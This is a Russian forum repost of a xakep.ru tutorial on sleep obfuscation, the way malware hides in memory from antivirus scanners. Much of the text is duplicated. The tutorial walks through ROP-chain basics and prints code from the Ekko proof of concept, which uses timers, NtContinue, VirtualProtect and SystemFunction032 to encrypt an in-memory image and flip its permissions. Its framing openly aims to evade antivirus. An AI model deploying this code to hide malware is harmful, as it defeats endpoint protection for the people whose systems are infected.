D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Вирусописатели придумывают все новые и новые способы скрытия своего ПО после инжекта в процесс. В последнее время стала популярна не просто обфускация, а Sleep-обфускация. Давай разберемся с этой техникой, познакомимся с ROP-цепочками, если ты с ними еще не знаком, и заценим публично доступные PoC.
Какую главную цель преследует любой уважающий себя зловред? Быть может, заработать создателю миллион долларов? Захватить весь мир? Стащить нюдсы бывшей? Все это может быть потом, но первая и важнейшая задача — скрыться! И Sleep-обфускация в этом отлично помогает. Этот способ скрытия может применяться как к шелл‑коду, так и ко всей копии файла в памяти в целом.
Большинство антивирусов обращает пристальное внимание на любые области памяти с правами на исполнение. Конечно, не все так просто, важно верно учитывать регион памяти (глупо было бы блокировать все RX-данные в Image-секциях), но Sleep-обфускация не об этом.
Представь, что сканер так и рыщет злыми глазами по памяти уже зараженного процесса, пытаясь выцепить своими когтищами наш бедный маленький шелл‑код. Чтобы скрыть себя в памяти, он может взять и поменять разрешения своего региона с RX на, например, RW или вообще PAGE_NO_ACCESS. После чего дополнительно поксориться на удачу. И всё, шелл‑код в домике. А Око Касперского останется ни с чем.
Собственно, эту задачу и решает Sleep-обфускация. Она позволяет изменить разрешения памяти, спрятать шелл‑код, а затем через некоторое время вернуть его к жизни путем расшифровки и восстановления Execute-прав.
Предлагаю сразу разобраться с терминами. Поспрашивав экспертов и поглядев PoC на GitHub, я смело заявляю, что Sleep-обфускацию можно считать подвидом флуктуации шелл‑кода. Флуктуация решает ту же задачу — шифрование и изменение разрешений. Но лично я считаю, что Sleep-обфускация — это все то, что приводит, используя те же таймеры (или иные механизмы, связанные со временем), к выстрелу колбэка и последующему изменению разрешений памяти.
Флуктуация — это концепция такого поведения вредоноса в целом. Добиться флуктуации можно и без временных функций. Можно в шелл‑коде разместить PAGE_GUARD или Hardware Breakpoint. Такой фокус при выполнении шелл‑кодом конкретной инструкции позволит активировать колбэк, который спрячет вредонос в памяти.
Отличная картинка, наглядно представляющая этот механизм, есть в блоге ka1d0.
Больше про этот интересный способ эксплуатации можно почитать тут:
Ekko позволяет, как нам и требуется, изменить разрешение памяти с помощью функции VirtualProtect(), а зашифровать пейлоад через SystemFunction032. SystemFunction032 — это недокументированная функция Windows, впрочем, работает она донельзя просто: мы передаем ей блок данных, а она его шифрует. В основе функции лежит XOR. Есть еще SystemFunction033() — ее механизм тот же.
Код: Скопировать в буфер обмена
Параметров, как видишь, всего два:
У Ekko же всего одна‑единственная функция — EkkoObf(). Она принимает лишь один DWORD-параметр — время, на которое наш исполняемый файл уснет. Спрячется все адресное пространство, содержащее код исполняемого файла.
Сначала инициализируется ключ, с помощью которого будет происходить шифрование.
Код: Скопировать в буфер обмена
Так как у нас Sleep-обфускация, нужно создать некоторое событие и таймер, который позволит «выстрелить» в определенный момент и спрятать либо вернуть наружу нашу нагрузку. Для этого Ekko использует стандартные функции CreateEventW() и CreateTimerQueue().
Функция CreateTimerQueue() позволяет создать очередь таймеров, которые будут вызываться друг за другом. Эта цепочка сыграет свою ключевую роль чуть позже.
Код: Скопировать в буфер обмена
Следующим шагом Ekko получает указатели на адреса ранее описанной функции SystemFunction032() и новой для нас NtContinue(). Функция NtContinue() также не документирована. Ее предназначение чуть сложнее — она принимает специальную структуру CONTEXT, которая содержит значения регистров. Передавая эту структуру в функцию, мы можем возобновить выполнение текущего потока с указанными в структуре CONTEXT изменениями в регистрах.
Например, значение регистра EAX равно 10. Передаем в функцию NtContinue() структуру CONTEXT со значением EAX 20, и EAX в нашем потоке становится равен 20.
Именно на этих функциях и строится ROP-цепочка. Чтобы шифровать весь наш файл в памяти, происходит получение его базового адреса загрузки через GetModuleHandle().
Код: Скопировать в буфер обмена
Наконец, сама ROP-цепочка выглядит так.
Код: Скопировать в буфер обмена
Здесь сначала создаем таймер, который сразу же запускается и получает контекст текущего потока. Контекст — это как раз та структура CONTEXT со значениями регистров. После чего копируем этот контекст во все переменные, которые будут содержать изменения.
Далее заполняем в каждой структуре элементы так, чтобы они вызывали нужные функции и ROP-цепочка корректно отрабатывала. В нашем случае структуры заполняются так, чтобы шел вызов в такой последовательности: VirtualProtect() → изменение с RWX на RW → SystemFunction032() → шифрование → спим столько, сколько указано в функции → SystemFunction032() → расшифровка → VirtualProtect() → изменение с RW на RWX.
Для вызова ROP-цепочки регистрируются таймеры, которые по истечении времени вызывают функцию NtContinue() со структурами CONTEXT.
Код: Скопировать в буфер обмена
Через 100 миллисекунд выстреливает первый гаджет, память с нашим файлом становится RW; через 200 миллисекунд все в памяти шифруется; через 300 ожидаем событие, которое перейдет в сигнальное состояние через указанное функцией время для сна; через 400 произойдет расшифровка, а через половину секунды память вновь станет RWX.
Логичный вопрос — каким образом система вызывает функции, если мы как бы шифруем всю память? Здесь идет шифрование только непосредственно кода программы, смапленной в память. При этом DLL, в которых находится реализация функций NtContinue(), SystemFunction032() и так далее, не шифруется. Поэтому все успешно исполняется, ведь мы регистрируем колбэки, указывая адреса этих функций. Система эти адреса запоминает, и они не подвергаются шифрованию при работе пейлоада (так как они находятся за пределами ImageBaseAddr + ImageSize). Поэтому все отлично срабатывает.
Автор @MichelleVermishelle | TG: @Michaelzhm
Источник xakep.ru
Какую главную цель преследует любой уважающий себя зловред? Быть может, заработать создателю миллион долларов? Захватить весь мир? Стащить нюдсы бывшей? Все это может быть потом, но первая и важнейшая задача — скрыться! И Sleep-обфускация в этом отлично помогает. Этот способ скрытия может применяться как к шелл‑коду, так и ко всей копии файла в памяти в целом.
Большинство антивирусов обращает пристальное внимание на любые области памяти с правами на исполнение. Конечно, не все так просто, важно верно учитывать регион памяти (глупо было бы блокировать все RX-данные в Image-секциях), но Sleep-обфускация не об этом.
Представь, что сканер так и рыщет злыми глазами по памяти уже зараженного процесса, пытаясь выцепить своими когтищами наш бедный маленький шелл‑код. Чтобы скрыть себя в памяти, он может взять и поменять разрешения своего региона с RX на, например, RW или вообще PAGE_NO_ACCESS. После чего дополнительно поксориться на удачу. И всё, шелл‑код в домике. А Око Касперского останется ни с чем.
Собственно, эту задачу и решает Sleep-обфускация. Она позволяет изменить разрешения памяти, спрятать шелл‑код, а затем через некоторое время вернуть его к жизни путем расшифровки и восстановления Execute-прав.
Предлагаю сразу разобраться с терминами. Поспрашивав экспертов и поглядев PoC на GitHub, я смело заявляю, что Sleep-обфускацию можно считать подвидом флуктуации шелл‑кода. Флуктуация решает ту же задачу — шифрование и изменение разрешений. Но лично я считаю, что Sleep-обфускация — это все то, что приводит, используя те же таймеры (или иные механизмы, связанные со временем), к выстрелу колбэка и последующему изменению разрешений памяти.
Флуктуация — это концепция такого поведения вредоноса в целом. Добиться флуктуации можно и без временных функций. Можно в шелл‑коде разместить PAGE_GUARD или Hardware Breakpoint. Такой фокус при выполнении шелл‑кодом конкретной инструкции позволит активировать колбэк, который спрячет вредонос в памяти.
ROP
Почти все известные PoC на «спящую» обфускацию используют ROP-цепочки. Если очень вкратце, то ROP-цепочки считаются некоторой продвинутой заменой стандартному переполнению буфера. Вместо того чтобы помещать где‑то в стеке наш шелл‑код, мы, манипулируя адресами возврата, заставляем код выполнять необходимые нам инструкции. Набор инструкций называется ROP-гаджетом, несколько ROP-гаджетов — ROP-цепочкой.Отличная картинка, наглядно представляющая этот механизм, есть в блоге ka1d0.

Больше про этот интересный способ эксплуатации можно почитать тут:
- Решение задания с pwnable.kr 26 — ascii_easy. Разбираемся с ROP-гаджетами с нуля раз и навсегда
- ROP-цепочки и гаджеты: учимся разрабатывать эксплойты
- Return Oriented Programming (ROP) attacks
- 32-bit Stack-based Buffer Overflow
- What is the difference between a buffer overflow attack and a ROP attack?
EKKO
Простейший и самый наглядный PoC для демонстрации Sleep-обфускации — это Ekko. У него есть и более продвинутый вариант, но он не столь наглядный, и разобраться с ним будет сложнее.Ekko позволяет, как нам и требуется, изменить разрешение памяти с помощью функции VirtualProtect(), а зашифровать пейлоад через SystemFunction032. SystemFunction032 — это недокументированная функция Windows, впрочем, работает она донельзя просто: мы передаем ей блок данных, а она его шифрует. В основе функции лежит XOR. Есть еще SystemFunction033() — ее механизм тот же.
Код: Скопировать в буфер обмена
NTSTATUS WINAPI SystemFunction032(struct ustring * data,const struct ustring *key)
Параметров, как видишь, всего два:
- data — сюда падает адрес структуры RC4_CONTEXT, которая содержит данные для шифрования или расшифровки;
- key — сюда падает адрес ключа, который можно использовать для расшифровки либо шифрования.
У Ekko же всего одна‑единственная функция — EkkoObf(). Она принимает лишь один DWORD-параметр — время, на которое наш исполняемый файл уснет. Спрячется все адресное пространство, содержащее код исполняемого файла.
Сначала инициализируется ключ, с помощью которого будет происходить шифрование.
Код: Скопировать в буфер обмена
Код:
CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
USTRING Key = { 0 };
USTRING Img = { 0 };
Функция CreateTimerQueue() позволяет создать очередь таймеров, которые будут вызываться друг за другом. Эта цепочка сыграет свою ключевую роль чуть позже.
Код: Скопировать в буфер обмена
Код:
hEvent = CreateEventW(0, 0, 0, 0);
hTimerQueue = CreateTimerQueue();
Например, значение регистра EAX равно 10. Передаем в функцию NtContinue() структуру CONTEXT со значением EAX 20, и EAX в нашем потоке становится равен 20.
Именно на этих функциях и строится ROP-цепочка. Чтобы шифровать весь наш файл в памяти, происходит получение его базового адреса загрузки через GetModuleHandle().
Код: Скопировать в буфер обмена
Код:
ImageBase = GetModuleHandleA( NULL );
ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;
Код: Скопировать в буфер обмена
Код:
if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD))
{
WaitForSingleObject(hEvent, 0x32);
memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT));
memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));
// VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
RopProtRW.Rsp -= 8;
RopProtRW.Rip = (DWORD64)VirtualProtect;
RopProtRW.Rcx = (DWORD64)ImageBase;
RopProtRW.Rdx = ImageSize;
RopProtRW.R8 = PAGE_READWRITE;
RopProtRW.R9 = (DWORD64)&OldProtect;
// SystemFunction032( &Key, &Img );
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = (DWORD64)SysFunc032;
RopMemEnc.Rcx = (DWORD64)&Img;
RopMemEnc.Rdx = (DWORD64)&Key;
// WaitForSingleObject( hTargetHdl, SleepTime );
RopDelay.Rsp -= 8;
RopDelay.Rip = (DWORD64)WaitForSingleObject;
RopDelay.Rcx = (DWORD64)NtCurrentProcess();
RopDelay.Rdx = SleepTime;
// SystemFunction032( &Key, &Img );
RopMemDec.Rsp -= 8;
RopMemDec.Rip = (DWORD64)SysFunc032;
RopMemDec.Rcx = (DWORD64)&Img;
RopMemDec.Rdx = (DWORD64)&Key;
// VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );
RopProtRX.Rsp -= 8;
RopProtRX.Rip = (DWORD64)VirtualProtect;
RopProtRX.Rcx = (DWORD64)ImageBase;
RopProtRX.Rdx = (DWORD64)ImageSize;
RopProtRX.R8 = PAGE_EXECUTE_READWRITE;
RopProtRX.R9 = (DWORD64)&OldProtect;
// SetEvent( hEvent );
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = (DWORD64)SetEvent;
RopSetEvt.Rcx = (DWORD64)hEvent;
puts("[INFO] Queue timers");
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);
puts("[INFO] Wait for hEvent");
WaitForSingleObject(hEvent, INFINITE);
puts("[INFO] Finished waiting for event");
printCurrentTime();
}
DeleteTimerQueue(hTimerQueue);
}
Далее заполняем в каждой структуре элементы так, чтобы они вызывали нужные функции и ROP-цепочка корректно отрабатывала. В нашем случае структуры заполняются так, чтобы шел вызов в такой последовательности: VirtualProtect() → изменение с RWX на RW → SystemFunction032() → шифрование → спим столько, сколько указано в функции → SystemFunction032() → расшифровка → VirtualProtect() → изменение с RW на RWX.
Для вызова ROP-цепочки регистрируются таймеры, которые по истечении времени вызывают функцию NtContinue() со структурами CONTEXT.
Код: Скопировать в буфер обмена
Код:
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);
CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);
Логичный вопрос — каким образом система вызывает функции, если мы как бы шифруем всю память? Здесь идет шифрование только непосредственно кода программы, смапленной в память. При этом DLL, в которых находится реализация функций NtContinue(), SystemFunction032() и так далее, не шифруется. Поэтому все успешно исполняется, ведь мы регистрируем колбэки, указывая адреса этих функций. Система эти адреса запоминает, и они не подвергаются шифрованию при работе пейлоада (так как они находятся за пределами ImageBaseAddr + ImageSize). Поэтому все отлично срабатывает.
ВЫВОДЫ
Теперь нам понятен основной смысл работы Sleep-обфускации, но Ekko — лишь один из простейших PoC. На GitHub их много разновидностей: здесь и RustChain с использованием в логике хардверных брейк‑пойнтов, и Cronos с SleepEx(), и DeathSleep. Последний метод можно считать продвинутой Sleep-обфускацией, поскольку он буквально убивает текущий поток (но перед этим предварительно не забывает сохранить все регистры CPU для него и стек), затем спит, после чего восстанавливает данные. В общем, теперь у тебя огромный простор для самостоятельного изучения!Автор @MichelleVermishelle | TG: @Michaelzhm
Источник xakep.ru